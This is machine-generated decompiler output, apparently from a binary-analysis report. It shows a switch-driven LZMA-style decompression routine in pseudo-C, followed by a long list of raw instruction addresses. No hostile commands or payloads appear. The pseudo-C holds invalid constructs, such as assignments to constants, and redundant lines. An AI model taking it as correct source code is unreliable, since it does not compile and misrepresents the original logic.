							 *(_t613 - 0x74) = _t547;
							if( *(_t613 - 8) != 0) {
								GlobalFree( *(_t613 - 8));
							}
							_t535 = GlobalAlloc(0x40,  *(_t613 - 0x40)); // executed
							 *(_t613 - 8) = _t535;
							if(_t535 == 0) {
								goto L171;
							} else {
								goto L20;
							}
						case 2:
							L24:
							_t554 =  *(_t613 - 0x60) &  *(_t613 - 0x1c);
							 *(_t613 - 0x84) = 6;
							 *(_t613 - 0x4c) = _t554;
							_t606 =  *(_t613 - 4) + (( *(_t613 - 0x38) << 4) + _t554) * 2;
							goto L132;
						case 3:
							L21:
							__eflags =  *(_t613 - 0x6c);
							if( *(_t613 - 0x6c) == 0) {
								 *(_t613 - 0x88) = 3;
								goto L170;
							}
							 *(_t613 - 0x6c) =  *(_t613 - 0x6c) - 1;
							_t67 = _t613 - 0x70;
							 *_t67 =  &(( *(_t613 - 0x70))[1]);
							__eflags =  *_t67;
							 *(_t613 - 0xc) =  *(_t613 - 0xc) << 0x00000008 |  *( *(_t613 - 0x70)) & 0x000000ff;
							L23:
							 *(_t613 - 0x48) =  *(_t613 - 0x48) - 1;
							if( *(_t613 - 0x48) != 0) {
								goto L21;
							}
							goto L24;
						case 4:
							goto L133;
						case 5:
							goto L137;
						case 6:
							__edx = 0;
							__eflags =  *(__ebp - 0x40);
							if( *(__ebp - 0x40) != 0) {
								__eax =  *(__ebp - 4);
								__ecx =  *(__ebp - 0x38);
								 *(__ebp - 0x34) = 1;
								 *(__ebp - 0x84) = 7;
								__esi =  *(__ebp - 4) + 0x180 +  *(__ebp - 0x38) * 2;
								goto L132;
							}
							__eax =  *(__ebp - 0x5c) & 0x000000ff;
							__esi =  *(__ebp - 0x60);
							__cl = 8;
							__cl = 8 -  *(__ebp - 0x3c);
							__esi =  *(__ebp - 0x60) &  *(__ebp - 0x18);
							__eax = ( *(__ebp - 0x5c) & 0x000000ff) >> 8;
							__ecx =  *(__ebp - 0x3c);
							__esi = ( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8;
							__ecx =  *(__ebp - 4);
							(( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8) = (( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8) + ((( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8)) * 2;
							__eax = (( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8) + ((( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8)) * 2 << 9;
							__eflags =  *(__ebp - 0x38) - 4;
							__eax = ((( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8) + ((( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8)) * 2 << 9) +  *(__ebp - 4) + 0xe6c;
							 *(__ebp - 0x58) = ((( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8) + ((( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8)) * 2 << 9) +  *(__ebp - 4) + 0xe6c;
							if( *(__ebp - 0x38) >= 4) {
								__eflags =  *(__ebp - 0x38) - 0xa;
								if( *(__ebp - 0x38) >= 0xa) {
									_t98 = __ebp - 0x38;
									 *_t98 =  *(__ebp - 0x38) - 6;
									__eflags =  *_t98;
								} else {
									 *(__ebp - 0x38) =  *(__ebp - 0x38) - 3;
								}
							} else {
								 *(__ebp - 0x38) = 0;
							}
							__eflags =  *(__ebp - 0x34) - __edx;
							if( *(__ebp - 0x34) == __edx) {
								__ebx = 0;
								__ebx = 1;
								goto L61;
							} else {
								__eax =  *(__ebp - 0x14);
								__eax =  *(__ebp - 0x14) -  *(__ebp - 0x2c);
								__eflags = __eax -  *(__ebp - 0x74);
								if(__eax >=  *(__ebp - 0x74)) {
									__eax = __eax +  *(__ebp - 0x74);
									__eflags = __eax;
								}
								__ecx =  *(__ebp - 8);
								__ebx = 0;
								__ebx = 1;
								__al =  *((intOrPtr*)(__eax + __ecx));
								 *(__ebp - 0x5b) =  *((intOrPtr*)(__eax + __ecx));
								goto L41;
							}
						case 7:
							__eflags =  *(__ebp - 0x40) - 1;
							if( *(__ebp - 0x40) != 1) {
								__eax =  *(__ebp - 0x24);
								 *(__ebp - 0x80) = 0x16;
								 *(__ebp - 0x20) =  *(__ebp - 0x24);
								__eax =  *(__ebp - 0x28);
								 *(__ebp - 0x24) =  *(__ebp - 0x28);
								__eax =  *(__ebp - 0x2c);
								 *(__ebp - 0x28) =  *(__ebp - 0x2c);
								__eax = 0;
								__eflags =  *(__ebp - 0x38) - 7;
								0 | __eflags >= 0x00000000 = (__eflags >= 0) - 1;
								__al = __al & 0x000000fd;
								__eax = (__eflags >= 0) - 1 + 0xa;
								 *(__ebp - 0x38) = (__eflags >= 0) - 1 + 0xa;
								__eax =  *(__ebp - 4);
								__eax =  *(__ebp - 4) + 0x664;
								__eflags = __eax;
								 *(__ebp - 0x58) = __eax;
								goto L69;
							}
							__eax =  *(__ebp - 4);
							__ecx =  *(__ebp - 0x38);
							 *(__ebp - 0x84) = 8;
							__esi =  *(__ebp - 4) + 0x198 +  *(__ebp - 0x38) * 2;
							goto L132;
						case 8:
							__eflags =  *(__ebp - 0x40);
							if( *(__ebp - 0x40) != 0) {
								__eax =  *(__ebp - 4);
								__ecx =  *(__ebp - 0x38);
								 *(__ebp - 0x84) = 0xa;
								__esi =  *(__ebp - 4) + 0x1b0 +  *(__ebp - 0x38) * 2;
							} else {
								__eax =  *(__ebp - 0x38);
								__ecx =  *(__ebp - 4);
								__eax =  *(__ebp - 0x38) + 0xf;
								 *(__ebp - 0x84) = 9;
								 *(__ebp - 0x38) + 0xf << 4 = ( *(__ebp - 0x38) + 0xf << 4) +  *(__ebp - 0x4c);
								__esi =  *(__ebp - 4) + (( *(__ebp - 0x38) + 0xf << 4) +  *(__ebp - 0x4c)) * 2;
							}
							goto L132;
						case 9:
							goto L0;
						case 0xa:
							__eflags =  *(__ebp - 0x40);
							if( *(__ebp - 0x40) != 0) {
								__eax =  *(__ebp - 4);
								__ecx =  *(__ebp - 0x38);
								 *(__ebp - 0x84) = 0xb;
								__esi =  *(__ebp - 4) + 0x1c8 +  *(__ebp - 0x38) * 2;
								goto L132;
							}
							__eax =  *(__ebp - 0x28);
							goto L88;
						case 0xb:
							__eflags =  *(__ebp - 0x40);
							if( *(__ebp - 0x40) != 0) {
								__ecx =  *(__ebp - 0x24);
								__eax =  *(__ebp - 0x20);
								 *(__ebp - 0x20) =  *(__ebp - 0x24);
							} else {
								__eax =  *(__ebp - 0x24);
							}
							__ecx =  *(__ebp - 0x28);
							 *(__ebp - 0x24) =  *(__ebp - 0x28);
							L88:
							__ecx =  *(__ebp - 0x2c);
							 *(__ebp - 0x2c) = __eax;
							 *(__ebp - 0x28) =  *(__ebp - 0x2c);
							goto L89;
						case 0xc:
							L99:
							__eflags =  *(__ebp - 0x6c);
							if( *(__ebp - 0x6c) == 0) {
								 *(__ebp - 0x88) = 0xc;
								goto L170;
							}
							__ecx =  *(__ebp - 0x70);
							__eax =  *(__ebp - 0xc);
							 *(__ebp - 0x10) =  *(__ebp - 0x10) << 8;
							__ecx =  *( *(__ebp - 0x70)) & 0x000000ff;
							 *(__ebp - 0x6c) =  *(__ebp - 0x6c) - 1;
							 *(__ebp - 0xc) << 8 =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
							_t334 = __ebp - 0x70;
							 *_t334 =  *(__ebp - 0x70) + 1;
							__eflags =  *_t334;
							 *(__ebp - 0xc) =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
							__eax =  *(__ebp - 0x2c);
							goto L101;
						case 0xd:
							L37:
							__eflags =  *(__ebp - 0x6c);
							if( *(__ebp - 0x6c) == 0) {
								 *(__ebp - 0x88) = 0xd;
								goto L170;
							}
							__ecx =  *(__ebp - 0x70);
							__eax =  *(__ebp - 0xc);
							 *(__ebp - 0x10) =  *(__ebp - 0x10) << 8;
							__ecx =  *( *(__ebp - 0x70)) & 0x000000ff;
							 *(__ebp - 0x6c) =  *(__ebp - 0x6c) - 1;
							 *(__ebp - 0xc) << 8 =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
							_t122 = __ebp - 0x70;
							 *_t122 =  *(__ebp - 0x70) + 1;
							__eflags =  *_t122;
							 *(__ebp - 0xc) =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
							L39:
							__eax =  *(__ebp - 0x40);
							__eflags =  *(__ebp - 0x48) -  *(__ebp - 0x40);
							if( *(__ebp - 0x48) !=  *(__ebp - 0x40)) {
								goto L48;
							}
							__eflags = __ebx - 0x100;
							if(__ebx >= 0x100) {
								goto L54;
							}
							L41:
							__eax =  *(__ebp - 0x5b) & 0x000000ff;
							 *(__ebp - 0x5b) =  *(__ebp - 0x5b) << 1;
							__ecx =  *(__ebp - 0x58);
							__eax = ( *(__ebp - 0x5b) & 0x000000ff) >> 7;
							 *(__ebp - 0x48) = __eax;
							__eax = __eax + 1;
							__eax = __eax << 8;
							__eax = __eax + __ebx;
							__esi =  *(__ebp - 0x58) + __eax * 2;
							 *(__ebp - 0x10) =  *(__ebp - 0x10) >> 0xb;
							__ax =  *__esi;
							 *(__ebp - 0x54) = __esi;
							__edx = __ax & 0x0000ffff;
							__ecx = ( *(__ebp - 0x10) >> 0xb) * __edx;
							__eflags =  *(__ebp - 0xc) - __ecx;
							if( *(__ebp - 0xc) >= __ecx) {
								 *(__ebp - 0x10) =  *(__ebp - 0x10) - __ecx;
								 *(__ebp - 0xc) =  *(__ebp - 0xc) - __ecx;
								__cx = __ax;
								 *(__ebp - 0x40) = 1;
								__cx = __ax >> 5;
								__eflags = __eax;
								__ebx = __ebx + __ebx + 1;
								 *__esi = __ax;
							} else {
								 *(__ebp - 0x40) =  *(__ebp - 0x40) & 0x00000000;
								 *(__ebp - 0x10) = __ecx;
								0x800 = 0x800 - __edx;
								0x800 - __edx >> 5 = (0x800 - __edx >> 5) + __eax;
								__ebx = __ebx + __ebx;
								 *__esi = __cx;
							}
							__eflags =  *(__ebp - 0x10) - 0x1000000;
							 *(__ebp - 0x44) = __ebx;
							if( *(__ebp - 0x10) >= 0x1000000) {
								goto L39;
							} else {
								goto L37;
							}
						case 0xe:
							L46:
							__eflags =  *(__ebp - 0x6c);
							if( *(__ebp - 0x6c) == 0) {
								 *(__ebp - 0x88) = 0xe;
								goto L170;
							}
							__ecx =  *(__ebp - 0x70);
							__eax =  *(__ebp - 0xc);
							 *(__ebp - 0x10) =  *(__ebp - 0x10) << 8;
							__ecx =  *( *(__ebp - 0x70)) & 0x000000ff;
							 *(__ebp - 0x6c) =  *(__ebp - 0x6c) - 1;
							 *(__ebp - 0xc) << 8 =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
							_t156 = __ebp - 0x70;
							 *_t156 =  *(__ebp - 0x70) + 1;
							__eflags =  *_t156;
							 *(__ebp - 0xc) =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
							while(1) {
								L48:
								__eflags = __ebx - 0x100;
								if(__ebx >= 0x100) {
									break;
								}
								__eax =  *(__ebp - 0x58);
								__edx = __ebx + __ebx;
								__ecx =  *(__ebp - 0x10);
								__esi = __edx + __eax;
								__ecx =  *(__ebp - 0x10) >> 0xb;
								__ax =  *__esi;
								 *(__ebp - 0x54) = __esi;
								__edi = __ax & 0x0000ffff;
								__ecx = ( *(__ebp - 0x10) >> 0xb) * __edi;
								__eflags =  *(__ebp - 0xc) - __ecx;
								if( *(__ebp - 0xc) >= __ecx) {
									 *(__ebp - 0x10) =  *(__ebp - 0x10) - __ecx;
									 *(__ebp - 0xc) =  *(__ebp - 0xc) - __ecx;
									__cx = __ax;
									_t170 = __edx + 1; // 0x1
									__ebx = _t170;
									__cx = __ax >> 5;
									__eflags = __eax;
									 *__esi = __ax;
								} else {
									 *(__ebp - 0x10) = __ecx;
									0x800 = 0x800 - __edi;
									0x800 - __edi >> 5 = (0x800 - __edi >> 5) + __eax;
									__ebx = __ebx + __ebx;
									 *__esi = __cx;
								}
								__eflags =  *(__ebp - 0x10) - 0x1000000;
								 *(__ebp - 0x44) = __ebx;
								if( *(__ebp - 0x10) >= 0x1000000) {
									continue;
								} else {
									goto L46;
								}
							}
							L54:
							_t173 = __ebp - 0x34;
							 *_t173 =  *(__ebp - 0x34) & 0x00000000;
							__eflags =  *_t173;
							goto L55;
						case 0xf:
							L58:
							__eflags =  *(__ebp - 0x6c);
							if( *(__ebp - 0x6c) == 0) {
								 *(__ebp - 0x88) = 0xf;
								goto L170;
							}
							__ecx =  *(__ebp - 0x70);
							__eax =  *(__ebp - 0xc);
							 *(__ebp - 0x10) =  *(__ebp - 0x10) << 8;
							__ecx =  *( *(__ebp - 0x70)) & 0x000000ff;
							 *(__ebp - 0x6c) =  *(__ebp - 0x6c) - 1;
							 *(__ebp - 0xc) << 8 =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
							_t203 = __ebp - 0x70;
							 *_t203 =  *(__ebp - 0x70) + 1;
							__eflags =  *_t203;
							 *(__ebp - 0xc) =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
							L60:
							__eflags = __ebx - 0x100;
							if(__ebx >= 0x100) {
								L55:
								__al =  *(__ebp - 0x44);
								 *(__ebp - 0x5c) =  *(__ebp - 0x44);
								goto L56;
							}
							L61:
							__eax =  *(__ebp - 0x58);
							__edx = __ebx + __ebx;
							__ecx =  *(__ebp - 0x10);
							__esi = __edx + __eax;
							__ecx =  *(__ebp - 0x10) >> 0xb;
							__ax =  *__esi;
							 *(__ebp - 0x54) = __esi;
							__edi = __ax & 0x0000ffff;
							__ecx = ( *(__ebp - 0x10) >> 0xb) * __edi;
							__eflags =  *(__ebp - 0xc) - __ecx;
							if( *(__ebp - 0xc) >= __ecx) {
								 *(__ebp - 0x10) =  *(__ebp - 0x10) - __ecx;
								 *(__ebp - 0xc) =  *(__ebp - 0xc) - __ecx;
								__cx = __ax;
								_t217 = __edx + 1; // 0x1
								__ebx = _t217;
								__cx = __ax >> 5;
								__eflags = __eax;
								 *__esi = __ax;
							} else {
								 *(__ebp - 0x10) = __ecx;
								0x800 = 0x800 - __edi;
								0x800 - __edi >> 5 = (0x800 - __edi >> 5) + __eax;
								__ebx = __ebx + __ebx;
								 *__esi = __cx;
							}
							__eflags =  *(__ebp - 0x10) - 0x1000000;
							 *(__ebp - 0x44) = __ebx;
							if( *(__ebp - 0x10) >= 0x1000000) {
								goto L60;
							} else {
								goto L58;
							}
						case 0x10:
							L109:
							__eflags =  *(__ebp - 0x6c);
							if( *(__ebp - 0x6c) == 0) {
								 *(__ebp - 0x88) = 0x10;
								goto L170;
							}
							__ecx =  *(__ebp - 0x70);
							__eax =  *(__ebp - 0xc);
							 *(__ebp - 0x10) =  *(__ebp - 0x10) << 8;
							__ecx =  *( *(__ebp - 0x70)) & 0x000000ff;
							 *(__ebp - 0x6c) =  *(__ebp - 0x6c) - 1;
							 *(__ebp - 0xc) << 8 =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
							_t365 = __ebp - 0x70;
							 *_t365 =  *(__ebp - 0x70) + 1;
							__eflags =  *_t365;
							 *(__ebp - 0xc) =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
							goto L111;
						case 0x11:
							goto L69;
						case 0x12:
							__eflags =  *(__ebp - 0x40);
							if( *(__ebp - 0x40) != 0) {
								__eax =  *(__ebp - 0x58);
								 *(__ebp - 0x84) = 0x13;
								__esi =  *(__ebp - 0x58) + 2;
								goto L132;
							}
							__eax =  *(__ebp - 0x4c);
							 *(__ebp - 0x30) =  *(__ebp - 0x30) & 0x00000000;
							__ecx =  *(__ebp - 0x58);
							__eax =  *(__ebp - 0x4c) << 4;
							__eflags = __eax;
							__eax =  *(__ebp - 0x58) + __eax + 4;
							goto L130;
						case 0x13:
							__eflags =  *(__ebp - 0x40);
							if( *(__ebp - 0x40) != 0) {
								_t469 = __ebp - 0x58;
								 *_t469 =  *(__ebp - 0x58) + 0x204;
								__eflags =  *_t469;
								 *(__ebp - 0x30) = 0x10;
								 *(__ebp - 0x40) = 8;
								L144:
								 *(__ebp - 0x7c) = 0x14;
								goto L145;
							}
							__eax =  *(__ebp - 0x4c);
							__ecx =  *(__ebp - 0x58);
							__eax =  *(__ebp - 0x4c) << 4;
							 *(__ebp - 0x30) = 8;
							__eax =  *(__ebp - 0x58) + ( *(__ebp - 0x4c) << 4) + 0x104;
							L130:
							 *(__ebp - 0x58) = __eax;
							 *(__ebp - 0x40) = 3;
							goto L144;
						case 0x14:
							 *(__ebp - 0x30) =  *(__ebp - 0x30) + __ebx;
							__eax =  *(__ebp - 0x80);
							goto L140;
						case 0x15:
							__eax = 0;
							__eflags =  *(__ebp - 0x38) - 7;
							0 | __eflags >= 0x00000000 = (__eflags >= 0) - 1;
							__al = __al & 0x000000fd;
							__eax = (__eflags >= 0) - 1 + 0xb;
							 *(__ebp - 0x38) = (__eflags >= 0) - 1 + 0xb;
							goto L120;
						case 0x16:
							__eax =  *(__ebp - 0x30);
							__eflags = __eax - 4;
							if(__eax >= 4) {
								_push(3);
								_pop(__eax);
							}
							__ecx =  *(__ebp - 4);
							 *(__ebp - 0x40) = 6;
							__eax = __eax << 7;
							 *(__ebp - 0x7c) = 0x19;
							 *(__ebp - 0x58) = __eax;
							goto L145;
						case 0x17:
							L145:
							__eax =  *(__ebp - 0x40);
							 *(__ebp - 0x50) = 1;
							 *(__ebp - 0x48) =  *(__ebp - 0x40);
							goto L149;
						case 0x18:
							L146:
							__eflags =  *(__ebp - 0x6c);
							if( *(__ebp - 0x6c) == 0) {
								 *(__ebp - 0x88) = 0x18;
								goto L170;
							}
							__ecx =  *(__ebp - 0x70);
							__eax =  *(__ebp - 0xc);
							 *(__ebp - 0x10) =  *(__ebp - 0x10) << 8;
							__ecx =  *( *(__ebp - 0x70)) & 0x000000ff;
							 *(__ebp - 0x6c) =  *(__ebp - 0x6c) - 1;
							 *(__ebp - 0xc) << 8 =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
							_t484 = __ebp - 0x70;
							 *_t484 =  *(__ebp - 0x70) + 1;
							__eflags =  *_t484;
							 *(__ebp - 0xc) =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
							L148:
							_t487 = __ebp - 0x48;
							 *_t487 =  *(__ebp - 0x48) - 1;
							__eflags =  *_t487;
							L149:
							__eflags =  *(__ebp - 0x48);
							if( *(__ebp - 0x48) <= 0) {
								__ecx =  *(__ebp - 0x40);
								__ebx =  *(__ebp - 0x50);
								0 = 1;
								__eax = 1 << __cl;
								__ebx =  *(__ebp - 0x50) - (1 << __cl);
								__eax =  *(__ebp - 0x7c);
								 *(__ebp - 0x44) = __ebx;
								goto L140;
							}
							__eax =  *(__ebp - 0x50);
							 *(__ebp - 0x10) =  *(__ebp - 0x10) >> 0xb;
							__edx =  *(__ebp - 0x50) +  *(__ebp - 0x50);
							__eax =  *(__ebp - 0x58);
							__esi = __edx + __eax;
							 *(__ebp - 0x54) = __esi;
							__ax =  *__esi;
							__edi = __ax & 0x0000ffff;
							__ecx = ( *(__ebp - 0x10) >> 0xb) * __edi;
							__eflags =  *(__ebp - 0xc) - __ecx;
							if( *(__ebp - 0xc) >= __ecx) {
								 *(__ebp - 0x10) =  *(__ebp - 0x10) - __ecx;
								 *(__ebp - 0xc) =  *(__ebp - 0xc) - __ecx;
								__cx = __ax;
								__cx = __ax >> 5;
								__eax = __eax - __ecx;
								__edx = __edx + 1;
								__eflags = __edx;
								 *__esi = __ax;
								 *(__ebp - 0x50) = __edx;
							} else {
								 *(__ebp - 0x10) = __ecx;
								0x800 = 0x800 - __edi;
								0x800 - __edi >> 5 = (0x800 - __edi >> 5) + __eax;
								 *(__ebp - 0x50) =  *(__ebp - 0x50) << 1;
								 *__esi = __cx;
							}
							__eflags =  *(__ebp - 0x10) - 0x1000000;
							if( *(__ebp - 0x10) >= 0x1000000) {
								goto L148;
							} else {
								goto L146;
							}
						case 0x19:
							__eflags = __ebx - 4;
							if(__ebx < 4) {
								 *(__ebp - 0x2c) = __ebx;
								L119:
								_t393 = __ebp - 0x2c;
								 *_t393 =  *(__ebp - 0x2c) + 1;
								__eflags =  *_t393;
								L120:
								__eax =  *(__ebp - 0x2c);
								__eflags = __eax;
								if(__eax == 0) {
									 *(__ebp - 0x30) =  *(__ebp - 0x30) | 0xffffffff;
									goto L170;
								}
								__eflags = __eax -  *(__ebp - 0x60);
								if(__eax >  *(__ebp - 0x60)) {
									goto L171;
								}
								 *(__ebp - 0x30) =  *(__ebp - 0x30) + 2;
								__eax =  *(__ebp - 0x30);
								_t400 = __ebp - 0x60;
								 *_t400 =  *(__ebp - 0x60) +  *(__ebp - 0x30);
								__eflags =  *_t400;
								goto L123;
							}
							__ecx = __ebx;
							__eax = __ebx;
							__ecx = __ebx >> 1;
							__eax = __ebx & 0x00000001;
							__ecx = (__ebx >> 1) - 1;
							__al = __al | 0x00000002;
							__eax = (__ebx & 0x00000001) << __cl;
							__eflags = __ebx - 0xe;
							 *(__ebp - 0x2c) = __eax;
							if(__ebx >= 0xe) {
								__ebx = 0;
								 *(__ebp - 0x48) = __ecx;
								L102:
								__eflags =  *(__ebp - 0x48);
								if( *(__ebp - 0x48) <= 0) {
									__eax = __eax + __ebx;
									 *(__ebp - 0x40) = 4;
									 *(__ebp - 0x2c) = __eax;
									__eax =  *(__ebp - 4);
									__eax =  *(__ebp - 4) + 0x644;
									__eflags = __eax;
									L108:
									__ebx = 0;
									 *(__ebp - 0x58) = __eax;
									 *(__ebp - 0x50) = 1;
									 *(__ebp - 0x44) = 0;
									 *(__ebp - 0x48) = 0;
									L112:
									__eax =  *(__ebp - 0x40);
									__eflags =  *(__ebp - 0x48) -  *(__ebp - 0x40);
									if( *(__ebp - 0x48) >=  *(__ebp - 0x40)) {
										_t391 = __ebp - 0x2c;
										 *_t391 =  *(__ebp - 0x2c) + __ebx;
										__eflags =  *_t391;
										goto L119;
									}
									__eax =  *(__ebp - 0x50);
									 *(__ebp - 0x10) =  *(__ebp - 0x10) >> 0xb;
									__edi =  *(__ebp - 0x50) +  *(__ebp - 0x50);
									__eax =  *(__ebp - 0x58);
									__esi = __edi + __eax;
									 *(__ebp - 0x54) = __esi;
									__ax =  *__esi;
									__ecx = __ax & 0x0000ffff;
									__edx = ( *(__ebp - 0x10) >> 0xb) * __ecx;
									__eflags =  *(__ebp - 0xc) - __edx;
									if( *(__ebp - 0xc) >= __edx) {
										__ecx = 0;
										 *(__ebp - 0x10) =  *(__ebp - 0x10) - __edx;
										__ecx = 1;
										 *(__ebp - 0xc) =  *(__ebp - 0xc) - __edx;
										__ebx = 1;
										__ecx =  *(__ebp - 0x48);
										__ebx = 1 << __cl;
										__ecx = 1 << __cl;
										__ebx =  *(__ebp - 0x44);
										__ebx =  *(__ebp - 0x44) | __ecx;
										__cx = __ax;
										__cx = __ax >> 5;
										__eax = __eax - __ecx;
										__edi = __edi + 1;
										__eflags = __edi;
										 *(__ebp - 0x44) = __ebx;
										 *__esi = __ax;
										 *(__ebp - 0x50) = __edi;
									} else {
										 *(__ebp - 0x10) = __edx;
										0x800 = 0x800 - __ecx;
										0x800 - __ecx >> 5 = (0x800 - __ecx >> 5) + __eax;
										 *(__ebp - 0x50) =  *(__ebp - 0x50) << 1;
										 *__esi = __dx;
									}
									__eflags =  *(__ebp - 0x10) - 0x1000000;
									if( *(__ebp - 0x10) >= 0x1000000) {
										L111:
										_t368 = __ebp - 0x48;
										 *_t368 =  *(__ebp - 0x48) + 1;
										__eflags =  *_t368;
										goto L112;
									} else {
										goto L109;
									}
								}
								__ecx =  *(__ebp - 0xc);
								__ebx = __ebx + __ebx;
								 *(__ebp - 0x10) =  *(__ebp - 0x10) >> 1;
								__eflags =  *(__ebp - 0xc) -  *(__ebp - 0x10);
								 *(__ebp - 0x44) = __ebx;
								if( *(__ebp - 0xc) >=  *(__ebp - 0x10)) {
									__ecx =  *(__ebp - 0x10);
									 *(__ebp - 0xc) =  *(__ebp - 0xc) -  *(__ebp - 0x10);
									__ebx = __ebx | 0x00000001;
									__eflags = __ebx;
									 *(__ebp - 0x44) = __ebx;
								}
								__eflags =  *(__ebp - 0x10) - 0x1000000;
								if( *(__ebp - 0x10) >= 0x1000000) {
									L101:
									_t338 = __ebp - 0x48;
									 *_t338 =  *(__ebp - 0x48) - 1;
									__eflags =  *_t338;
									goto L102;
								} else {
									goto L99;
								}
							}
							__edx =  *(__ebp - 4);
							__eax = __eax - __ebx;
							 *(__ebp - 0x40) = __ecx;
							__eax =  *(__ebp - 4) + 0x55e + __eax * 2;
							goto L108;
						case 0x1a:
							L56:
							__eflags =  *(__ebp - 0x64);
							if( *(__ebp - 0x64) == 0) {
								 *(__ebp - 0x88) = 0x1a;
								goto L170;
							}
							__ecx =  *(__ebp - 0x68);
							__al =  *(__ebp - 0x5c);
							__edx =  *(__ebp - 8);
							 *(__ebp - 0x60) =  *(__ebp - 0x60) + 1;
							 *(__ebp - 0x68) =  *(__ebp - 0x68) + 1;
							 *(__ebp - 0x64) =  *(__ebp - 0x64) - 1;
							 *( *(__ebp - 0x68)) = __al;
							__ecx =  *(__ebp - 0x14);
							 *(__ecx +  *(__ebp - 8)) = __al;
							__eax = __ecx + 1;
							__edx = 0;
							_t192 = __eax %  *(__ebp - 0x74);
							__eax = __eax /  *(__ebp - 0x74);
							__edx = _t192;
							goto L79;
						case 0x1b:
							goto L75;
						case 0x1c:
							while(1) {
								L123:
								__eflags =  *(__ebp - 0x64);
								if( *(__ebp - 0x64) == 0) {
									break;
								}
								__eax =  *(__ebp - 0x14);
								__eax =  *(__ebp - 0x14) -  *(__ebp - 0x2c);
								__eflags = __eax -  *(__ebp - 0x74);
								if(__eax >=  *(__ebp - 0x74)) {
									__eax = __eax +  *(__ebp - 0x74);
									__eflags = __eax;
								}
								__edx =  *(__ebp - 8);
								__cl =  *(__eax + __edx);
								__eax =  *(__ebp - 0x14);
								 *(__ebp - 0x5c) = __cl;
								 *(__eax + __edx) = __cl;
								__eax = __eax + 1;
								__edx = 0;
								_t414 = __eax %  *(__ebp - 0x74);
								__eax = __eax /  *(__ebp - 0x74);
								__edx = _t414;
								__eax =  *(__ebp - 0x68);
								 *(__ebp - 0x68) =  *(__ebp - 0x68) + 1;
								 *(__ebp - 0x64) =  *(__ebp - 0x64) - 1;
								 *(__ebp - 0x30) =  *(__ebp - 0x30) - 1;
								__eflags =  *(__ebp - 0x30);
								 *( *(__ebp - 0x68)) = __cl;
								 *(__ebp - 0x14) = _t414;
								if( *(__ebp - 0x30) > 0) {
									continue;
								} else {
									goto L80;
								}
							}
							 *(__ebp - 0x88) = 0x1c;
							goto L170;
					}
				}
			}

0x00000000
0x004070ab
0x004070ab
0x004070af
0x00407166
0x00407169
0x00407175
0x00407056
0x00407056
0x00407059
0x004073cb
0x004073cb
0x004073ce
0x004073ce
0x004073d4
0x004073da
0x004073e0
0x004073fa
0x004073fd
0x00407403
0x0040740e
0x00407410
0x004073e2
0x004073e2
0x004073f1
0x004073f5
0x004073f5
0x0040741a
0x00407441
0x00407441
0x00407447
0x00407447
0x00000000
0x0040741c
0x0040741c
0x00407420
0x004075cf
0x00000000
0x004075cf
0x0040742c
0x00407433
0x0040743b
0x0040743e
0x00000000
0x0040743e
0x004070b5
0x004070b9
0x004075fa
0x004075fa
0x004075fd
0x00407601
0x00407601
0x004070bf
0x004070c5
0x004070c8
0x004070cc
0x004070cf
0x004070d3
0x00407599
0x004075e5
0x004075ed
0x004075f4
0x004075f6
0x00000000
0x004075f6
0x004070d9
0x004070dc
0x004070e2
0x004070e4
0x004070e4
0x004070e7
0x004070ea
0x004070ed
0x004070f0
0x004070f3
0x004070f6
0x004070f7
0x004070f9
0x004070f9
0x004070f9
0x004070fc
0x004070ff
0x00407102
0x00407105
0x00407105
0x00407108
0x0040710a
0x0040710a
0x0040710d
0x0040710d
0x0040710d
0x00406be3
0x00406be3
0x00406bec
0x00000000
0x00000000
0x00406bf2
0x00000000
0x00406bfd
0x00000000
0x00000000
0x00406c06
0x00406c09
0x00406c0c
0x00406c10
0x00000000
0x00000000
0x00406c16
0x00406c19
0x00406c1b
0x00406c1c
0x00406c1f
0x00406c21
0x00406c22
0x00406c24
0x00406c27
0x00406c2c
0x00406c31
0x00406c3a
0x00406c4d
0x00406c50
0x00406c5c
0x00406c84
0x00406c86
0x00406c94
0x00406c94
0x00406c98
0x00000000
0x00000000
0x00000000
0x00000000
0x00406c88
0x00406c88
0x00406c8b
0x00406c8c
0x00406c8c
0x00000000
0x00406c88
0x00406c62
0x00406c67
0x00406c67
0x00406c70
0x00406c78
0x00406c7b
0x00000000
0x00406c81
0x00406c81
0x00000000
0x00406c81
0x00000000
0x00406c9e
0x00406c9e
0x00406ca2
0x0040754e
0x00000000
0x0040754e
0x00406cab
0x00406cbb
0x00406cbe
0x00406cc1
